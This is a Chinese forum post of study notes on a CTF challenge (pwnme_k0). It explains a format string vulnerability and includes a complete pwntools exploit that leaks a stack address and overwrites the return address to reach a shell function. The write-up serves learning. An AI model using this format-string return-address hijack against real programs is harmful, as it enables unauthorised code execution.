首页
论坛
课程
招聘
[原创]PWN学习笔记【格式化字符串漏洞练习】【hijack retaddr】【 三个白帽 - pwnme_k0 】
2022-6-10 16:50 2646

[原创]PWN学习笔记【格式化字符串漏洞练习】【hijack retaddr】【 三个白帽 - pwnme_k0 】

2022-6-10 16:50
2646

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#hijack-retaddr


程序存在格式化字符串漏洞

username和password都可控,但是每个都只能输入20个字节


调试程序,username输入username,password输入password,在第二个printf上打断点

看到栈一切都是刚刚好,栈顶是栈指针,然后是返回地址,然后是可控的username


打造payload:

  1. 先拿到栈顶的栈指针,然后推算返回地址的地址,也就是0x7fffffffdd78,

  2. 计算一下偏移(0x7fffffffddb0-0x7fffffffdd78= 0x38),第一步的栈指针减去偏移,即可得到返回地址的指针

  3. 覆盖返回地址,拿shell



这个程序提供了拿shell的函数,只需要把返回地址改成0x4008a6就可以了:

都是0x40开头的,修改末尾的两个字节就ok了

把需要覆盖的地址放到username里,格式化字符串放在password里,就不用计算多余的偏移量了,

64位程序前6个变量放到寄存器,第7个开始压栈,所以username偏移=8


exp:

from pwn import *

#context.log_level = 'debug'

sh = process("./pwnme_k0")#gdb.debug("./pwnme_k0", "b *0x400B39")#

def sendPayload(username, password):
    sh.recvuntil(b"(max lenth:20):")
    sh.sendline(username)
    sh.recvuntil(b"(max lenth:20):")
    sh.sendline(password)

def checkfun(id):
    sh.recvuntil(b"3.QUit sangebaimao:(\n>")
    sh.sendline(str(id).encode())

debug(b"get ret addr")
sendPayload(b"1", b"%6$p")
checkfun(1)

sh.recvuntil(b"1\n")
rbp_addr = sh.recvline()
debug("rbp_addr addr=" + str(rbp_addr))
rbp_addr = int(rbp_addr, 16)
ret_addr = rbp_addr - 0x38
debug("ret addr=%x" %ret_addr)

payload_username = p64(ret_addr)
payload_password = flat([
    b'%',
    str(0x08A6).encode(),
    b'c%8$hn'
])
checkfun(2)
sendPayload(payload_username, payload_password)

checkfun(1)

print(sh.recv())
sh.interactive()


拿shell:


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回